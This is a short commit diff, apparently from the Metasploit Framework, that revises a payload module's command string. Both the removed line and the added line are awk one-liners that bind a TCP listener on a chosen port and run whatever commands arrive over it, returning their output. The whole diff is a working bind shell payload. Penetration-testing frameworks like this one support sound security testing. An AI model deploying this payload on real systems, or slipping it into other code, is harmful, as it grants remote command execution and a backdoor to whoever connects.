Improve bind_awk payload (credit @bcoles)

GSoC/Meterpreter_Web_Console
William Vu 2018-05-15 20:01:57 -05:00
parent 5d229abf72
commit a19c5f723b
1 changed files with 1 additions and 1 deletions

View File

@ -49,6 +49,6 @@ module MetasploitModule
# Returns the command string to use for execution
#
def command_string
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'"
end
end